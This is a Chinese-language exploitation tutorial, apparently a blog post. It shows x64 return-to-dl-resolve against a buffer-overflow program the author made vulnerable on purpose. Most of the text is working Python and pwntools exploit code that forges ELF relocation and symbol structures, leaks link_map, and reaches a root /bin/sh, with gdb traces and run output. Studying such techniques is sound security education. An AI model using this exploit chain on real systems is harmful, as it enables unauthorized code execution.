Environment
root@kaliSevie:~/Desktop# uname -a
Linux kaliSevie 4.4.0-kali1-amd64 #1 SMP Debian 4.4.6-1kali1 (2016-03-18) x86_64 GNU/Linux
root@kaliSevie:~/Desktop# lsb_release -a
No LSB modules are available.
Distributor ID: Kali
Description: Kali GNU/Linux Rolling
Release: kali-rolling
Codename: kali-rolling
root@kaliSevie:~/Desktop# gcc -v
gcc version 6.3.0 20170321 (Debian 6.3.0-11)
Vulnerable code
/* bof.c */
#include <unistd.h>
int main()
{
char buf[100];
int size;
/* pop rdi; ret; pop rsi; ret; pop rdx; ret; */
char cheat[] = "\x5f\xc3\x5e\xc3\x5a\xc3";
read(0, &size, 8);
read(0, buf, size);
write(1, buf, size);
return 0;
}
编译程序并且打开系统的ASLR
:
root@kaliSevie:~/Desktop# gcc -no-pie -fno-stack-protector bof.c -o bof
root@kaliSevie:~/Desktop# cat /proc/sys/kernel/randomize_va_space
2
root@kaliSevie:~/Desktop# checksec bof
[*] '/root/Desktop/bof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Difference in x64
首先在x64
下,函数的参数是通过寄存器传递的,而不是通过栈,所以在构造ROP
时,要把参数放到对应寄存器中,看看read
函数参数情况:
RDX 0x8
*RDI 0x0
RSI 0x7fffffffe4cc ◂— 0x0
0x400563 <main+29> mov edx, 8
0x400568 <main+34> mov rsi, rax
0x40056b <main+37> mov edi, 0
► 0x400570 <main+42> call read@plt
fd: 0x0
buf: 0x7fffffffe4cc ◂— 0x0
nbytes: 0x8
看到实际上是read(rdi, rsi, rdx)
,三个寄存器的值对应了三个参数。
write
函数参数情况:
RDX 0xc8
*RDI 0x1
RSI 0x7fffffffe4d0 ◂— 0x4141414141414141 ('AAAAAAAA')
0x400592 <main+76> lea rax, [rbp - 0x70]
0x400596 <main+80> mov rsi, rax
0x400599 <main+83> mov edi, 1
► 0x40059e <main+88> call write@plt <0x400430>
fd: 0x1
buf: 0x7fffffffe4d0 ◂— 0x4141414141414141 ('AAAAAAAA')
n: 0xc8
所以在构造ROP
链时与x86
下有些不同。
return-to-dl-resolve
call write@plt
首先还是先直接调用write@plt
试试,和上一篇基本相同,只是相对应改成64位下的字长,代码如下:
import sys
import struct
from subprocess import Popen, PIPE
def p64(x):
return struct.pack("<Q", x)
offset = 120
addr_write_plt = 0x0000000000400430
addr_read_plt = 0x0000000000400440
addr_bss = 0x0000000000601038
addr_relplt = 0x4003d0
addr_plt = 0x0000000000400420
addr_dynsym = 0x4002b8
addr_dynstr = 0x400330
addr_pop_rbp = 0x00000000004004b0 # pop rbp ; ret
addr_pop_rdi = 0x0000000000400551 # pop rdi ; ret
addr_pop_rdx = 0x0000000000400559 # pop rdx ; ret
addr_pop_rsi = 0x0000000000400553 # pop rsi ; ret
addr_leave_ret = 0x00000000004005a8 # leave ; ret
stack_size = 0x800
base_stage = addr_bss + stack_size
buf1 = "A" * offset
buf1 += p64(addr_pop_rdi)
buf1 += p64(0)
buf1 += p64(addr_pop_rsi)
buf1 += p64(base_stage)
buf1 += p64(addr_pop_rdx)
buf1 += p64(200)
buf1 += p64(addr_read_plt)
buf1 += p64(addr_pop_rbp)
buf1 += p64(base_stage)
buf1 += p64(addr_leave_ret)
p = Popen(['./bof'], stdin=PIPE, stdout=PIPE)
p.stdin.write(p64(len(buf1)))
p.stdin.write(buf1)
print "[+] read: %r" % p.stdout.read(len(buf1))
cmd = "/bin/sh"
buf2 = "A" * 8
buf2 += p64(addr_pop_rdi)
buf2 += p64(1)
buf2 += p64(addr_pop_rsi)
buf2 += p64(base_stage + 80)
buf2 += p64(addr_pop_rdx)
buf2 += p64(len(cmd))
buf2 += p64(addr_write_plt)
buf2 += "A" * (80 - len(buf2))
buf2 += cmd + "\x00"
buf2 += "A" * (200 - len(buf2))
p.stdin.write(buf2)
print "[+] read: %r" % p.stdout.read(100)
# print p64(len(buf1)) + buf1 + buf2
运行结果:
root@kaliSevie:~/Desktop# python bof.py
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ\x05@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00S\x05@\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00Y\x05@\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00@\x04@\x00\x00\x00\x00\x00\xb0\x04@\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00\xa8\x05@\x00\x00\x00\x00\x00'
[+] read: '/bin/sh'
Relocation directly
在x64
下,与_dl_runtime_resolve
相关的两个结构体定义有所不同:
typedef uint64_t Elf64_Xword;
typedef int64_t Elf64_Sxword;
typedef uint64_t Elf64_Addr;
typedef uint32_t Elf64_Word;
typedef struct
{
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
Elf64_Sxword r_addend; /* Addend */
} Elf64_Rela;
#define ELF64_R_SYM(i) ((i) >> 32)
#define ELF64_R_TYPE(i) ((i) & 0xffffffff)
typedef struct
{
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
} Elf64_Sym;
以read
函数为例,看看内存中数据是什么。
通过文件我们知道.rel.plt
地址为0x4003d0
,大小为48 (bytes)
,每一项24 (bytes)
,也就是两项,read
和write
:
root@kaliSevie:~/Desktop# readelf -d bof | grep REL
0x0000000000000002 (PLTRELSZ) 48 (bytes)
0x0000000000000014 (PLTREL) RELA
0x0000000000000017 (JMPREL) 0x4003d0
0x0000000000000007 (RELA) 0x4003a0
0x0000000000000008 (RELASZ) 48 (bytes)
0x0000000000000009 (RELAENT) 24 (bytes)
gdb
查看read
的Elf64_Rela
:
pwndbg> x/3gx 0x4003d0+24
0x4003e8: 0x0000000000601020 0x0000000200000007
0x4003f8: 0x0000000000000000
文件的Elf64_Sym
位置,每一项是24 (bytes)
:
root@kaliSevie:~/Desktop# readelf -d bof | grep SYM
0x0000000000000006 (SYMTAB) 0x4002b8
0x000000000000000b (SYMENT) 24 (bytes)
read
的Elf64_Sym
结构体在SYMTAB[r_info >> 32]=SYMTAB[2]
:
pwndbg> x/6wx 0x4002b8+48
0x4002e8: 0x0000000b 0x00000012 0x00000000 0x00000000
0x4002f8: 0x00000000 0x00000000
再通过STRTAB
找到read
字符串:
root@kaliSevie:~/Desktop# readelf -d bof | grep STR
0x0000000000000005 (STRTAB) 0x400330
0x000000000000000a (STRSZ) 67 (bytes)
pwndbg> x/s 0x400330+0xb
0x40033b: "read"
修改代码的部分:
...
...
addr_reloc = base_stage + 64
reloc_offset = 0x0
cmd = "/bin/sh"
buf2 = "A" * 8
buf2 += p64(addr_pop_rdi)
buf2 += p64(1)
buf2 += p64(addr_pop_rsi)
buf2 += p64(base_stage + 80)
buf2 += p64(addr_pop_rdx)
buf2 += p64(len(cmd))
buf2 += p64(addr_plt)
buf2 += p64(reloc_offset)
buf2 += "A" * (80 - len(buf2))
buf2 += cmd + "\x00"
buf2 += "A" * (200 - len(buf2))
p.stdin.write(buf2)
print "[+] read: %r" % p.stdout.read(100)
运行:
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ\x05@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00S\x05@\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00Y\x05@\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00@\x04@\x00\x00\x00\x00\x00\xb0\x04@\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00\xa8\x05@\x00\x00\x00\x00\x00'
[+] read: '/bin/sh'
Make fake Elf64_Rela structure
64位下,Elf64_Rel
是通过下面的方式找到的,所以选择的地址也需要对齐:
Elf64_Rel *reloc = JMPREL + reloc_offset * 0x18
先填入原来结构体内的内容,修改后的代码:
...
...
addr_reloc = base_stage + 120
#reloc_offset = 0x0
reloc_offset = (addr_reloc - addr_relplt) / 0x18
r_offset = addr_write_got
r_info = 0x0000000100000007
r_addend = 0
cmd = "/bin/sh"
buf2 = "A" * 8
buf2 += p64(addr_pop_rdi)
buf2 += p64(1)
buf2 += p64(addr_pop_rsi)
buf2 += p64(base_stage + 80)
buf2 += p64(addr_pop_rdx)
buf2 += p64(len(cmd))
buf2 += p64(addr_plt)
buf2 += p64(reloc_offset)
buf2 += "A" * (80 - len(buf2))
buf2 += cmd + "\x00"
buf2 += "A" * (120 - len(buf2))
buf2 += p64(r_offset)
buf2 += p64(r_info)
buf2 += p64(r_addend)
buf2 += "A" * (200 - len(buf2))
p.stdin.write(buf2)
print "[+] read: %r" % p.stdout.read(100)
结果:
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ\x05@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00S\x05@\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00Y\x05@\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00@\x04@\x00\x00\x00\x00\x00\xb0\x04@\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00\xa8\x05@\x00\x00\x00\x00\x00'
[+] read: '/bin/sh'
Make fake Elf64_Sym structure
由以下公式找到write
的结构体:
Elf64_Sym *sym = &SYMTAB[((reloc->r_info)>>0x20)]
=>
sym = &SYMTAB[0x0000000100000007>>0x20] = &SYMTAB[1] = 0x4002b8 + 24
内存查看:
pwndbg> x/6wx 0x4002b8+24
0x4002d0: 0x00000022 0x00000012 0x00000000 0x00000000
0x4002e0: 0x00000000 0x00000000
pwndbg> x/s 0x400330+0x22
0x400352: "write"
按照之前的方式修改代码:
...
...
addr_reloc = base_stage + 120
reloc_offset = (addr_reloc - addr_relplt) / 0x18
r_offset = addr_write_got
r_addend = 0
addr_sym = addr_reloc + 24
padding_dynsym = 0x18 - ((addr_sym-addr_dynsym) % 0x18)
addr_sym += padding_dynsym
st_name = 0x00000022
r_info = (((addr_sym - addr_dynsym) / 0x18) << 0x20) | 0x7
#r_info = 0x0000000100000007
cmd = "/bin/sh"
addr_cmd = base_stage + 180
buf2 = "A" * 8
buf2 += p64(addr_pop_rdi)
buf2 += p64(1)
buf2 += p64(addr_pop_rsi)
buf2 += p64(addr_cmd)
buf2 += p64(addr_pop_rdx)
buf2 += p64(len(cmd))
buf2 += p64(addr_plt)
buf2 += p64(reloc_offset)
buf2 += "A" * (120 - len(buf2))
buf2 += p64(r_offset) # Elf64_Rela
buf2 += p64(r_info)
buf2 += p64(r_addend)
buf2 += "A" * padding_dynsym
buf2 += p32(st_name) # Elf64_Sym
buf2 += p32(0x00000012)
buf2 += p64(0)
buf2 += p64(0)
buf2 += "A" * (180 - len(buf2))
buf2 += cmd + "\x00"
buf2 += "A" * (200 - len(buf2))
p.stdin.write(buf2)
print "[+] read: %r" % p.stdout.read(100)
发现并不能成功,我们可以把要输入的字符串放在一个文件中然后用gdb
调试程序:
root@kaliSevie:~/Desktop# python bof.py > input
root@kaliSevie:~/Desktop# gdb
pwndbg> file bof
Reading symbols from bof...(no debugging symbols found)...done.
pwndbg> b main
Breakpoint 1 at 0x40054a
pwndbg> r < input
单步跟随ROP
链,发现在_dl_fixup
中引发了Segmentation fault
:
RAX: 0x400374 --> 0x2000200020000
RCX: 0x1564100000007
RDX: 0x15641
0x7ffff7de7c31 <_dl_fixup+113>: mov rax,QWORD PTR [rax+0x8]
=> 0x7ffff7de7c35 <_dl_fixup+117>: movzx eax,WORD PTR [rax+rdx*2]
0x7ffff7de7c39 <_dl_fixup+121>: and eax,0x7fff
...
pwndbg> x/x $rax+$rdx*2
0x42aff6: Cannot access memory at address 0x42aff6
这里RCX
就是伪造的r_info
值,而RCX
值过大,导致无法读取内存,引发了错误,我们往前看代码:
0x00007ffff7de7c21 <+97>: mov rax,QWORD PTR [r10+0x1c8]
0x00007ffff7de7c28 <+104>: test rax,rax
0x00007ffff7de7c2b <+107>: je 0x7ffff7de7ce0 <_dl_fixup+288>
0x00007ffff7de7c31 <+113>: mov rax,QWORD PTR [rax+0x8]
=> 0x00007ffff7de7c35 <+117>: movzx eax,WORD PTR [rax+rdx*2]
对应的C
代码:
const struct r_found_version *version = NULL;
if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL) // [r10+0x1c8] != 0
{
const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
发现有个je
可以跳过这一段代码,只要[r10+0x1c8]
处的值为0
就可以跳过,再往前看,发现只有函数开头mov r10,rdi
改变了r10
的值,然后都不会改变,r10
的值是个特殊的值:
pwndbg> x/2gx 0x601000
0x601000: 0x0000000000600e20 0x00007ffff7ffe170
pwndbg> p $r10
$1 = 0x7ffff7ffe170
0x601000
是GOT
表起始地址,之前说过,第二个元素是link_map
的起始地址,所以我们的目的就是更改link_map+0x1c8
处的值为0,由于开启了ASLR
,所以还需要泄露link_map
的地址。
Get shell
泄露link_map
地址的方法就是在最前面先调用addr_write_plt
,把link_map
的地址打出来,由于我这里用之前的方法收到shell
时发现命令能够执行但是输入字符不显示:
root@kaliSevie:~/Desktop# python bof.py
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ\x05@\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00S\x05@\x00\x00\x00\x00\x00\x08\x10`\x00\x00\x00\x00\x00Y\x05@\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x000\x04@\x00\x00\x00\x00\x00Q\x05@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00S\x05@\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00Y\x05@\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00@\x04@\x00\x00\x00\x00\x00\xb0\x04@\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00\xa8\x05@\x00\x00\x00\x00\x00'
[+] addr_link_map = 0x7f178d3d0170
# uid=0(root) gid=0(root) groups=0(root)
这里用pwntools
改写一下,完整程序:
import sys
import struct
from subprocess import Popen, PIPE
from pwn import *
offset = 120
addr_write_plt = 0x0000000000400430
addr_read_plt = 0x0000000000400440
addr_bss = 0x0000000000601038
addr_relplt = 0x4003d0
addr_plt = 0x0000000000400420
addr_got = 0x0000000000601000
addr_dynsym = 0x4002b8
addr_dynstr = 0x400330
addr_write_got = 0x0000000000601018
addr_read_got = 0x0000000000601020
addr_pop_rbp = 0x00000000004004b0 # pop rbp ; ret
addr_pop_rdi = 0x0000000000400551 # pop rdi ; ret
addr_pop_rdx = 0x0000000000400559 # pop rdx ; ret
addr_pop_rsi = 0x0000000000400553 # pop rsi ; ret
addr_leave_ret = 0x00000000004005a8 # leave ; ret
stack_size = 0x800
base_stage = addr_bss + stack_size
buf1 = "A" * offset
buf1 += p64(addr_pop_rdi)
buf1 += p64(1)
buf1 += p64(addr_pop_rsi)
buf1 += p64(addr_got + 8)
buf1 += p64(addr_pop_rdx)
buf1 += p64(8)
buf1 += p64(addr_write_plt)
buf1 += p64(addr_pop_rdi)
buf1 += p64(0)
buf1 += p64(addr_pop_rsi)
buf1 += p64(base_stage)
buf1 += p64(addr_pop_rdx)
buf1 += p64(200)
buf1 += p64(addr_read_plt)
buf1 += p64(addr_pop_rbp)
buf1 += p64(base_stage)
buf1 += p64(addr_leave_ret)
p = process("./bof")
p.send(p64(len(buf1)))
p.send(buf1)
print "[+] read: %r" % p.recv(len(buf1))
addr_link_map = u64(p.recv(8))
print "[+] addr_link_map = %s" % hex(addr_link_map)
addr_reloc = base_stage + 120
reloc_offset = (addr_reloc - addr_relplt) / 0x18
r_offset = addr_write_got
r_addend = 0
addr_sym = addr_reloc + 24
padding_dynsym = 0x18 - ((addr_sym-addr_dynsym) % 0x18)
addr_sym += padding_dynsym
addr_symstr = addr_sym + 24
r_info = (((addr_sym - addr_dynsym) / 0x18) << 0x20) | 0x7
cmd = "/bin/sh"
addr_cmd = addr_symstr + 7
st_name = addr_symstr - addr_dynstr
buf2 = "A" * 8
buf2 += p64(addr_pop_rdi)
buf2 += p64(0)
buf2 += p64(addr_pop_rsi)
buf2 += p64(addr_link_map + 0x1c8)
buf2 += p64(addr_pop_rdx)
buf2 += p64(8)
buf2 += p64(addr_read_plt)
buf2 += p64(addr_pop_rdi) # system args
buf2 += p64(addr_cmd)
buf2 += p64(addr_plt)
buf2 += p64(reloc_offset)
buf2 += "A" * (120 - len(buf2))
buf2 += p64(r_offset) # Elf64_Rela
buf2 += p64(r_info)
buf2 += p64(r_addend)
buf2 += "A" * padding_dynsym
buf2 += p32(st_name) # Elf64_Sym
buf2 += p32(0x00000012)
buf2 += p64(0)
buf2 += p64(0)
buf2 += "system\x00"
buf2 += cmd + "\x00"
buf2 += "A" * (200 - len(buf2))
p.send(buf2)
p.send(p64(0))
p.interactive()
运行:
root@kaliSevie:~/Desktop# python bof.py
[+] Starting local process './bof': pid 17083
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ\x05@\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00S\x05@\x00\x00\x00\x00\x00\x08\x10`\x00\x00\x00\x00\x00Y\x05@\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x000\x04@\x00\x00\x00\x00\x00Q\x05@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00S\x05@\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00Y\x05@\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00@\x04@\x00\x00\x00\x00\x00\xb0\x04@\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00\xa8\x05@\x00\x00\x00\x00\x00'
[+] addr_link_map = 0x7ff780d15170
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
总结
Return-to-dl-resolve是一种十分实用的技术,在没有libc库的情况下也能够取得函数地址,最终调用库函数。
refer: x64でROP stager + Return-to-dl-resolveによるASLR+DEP回避をやってみる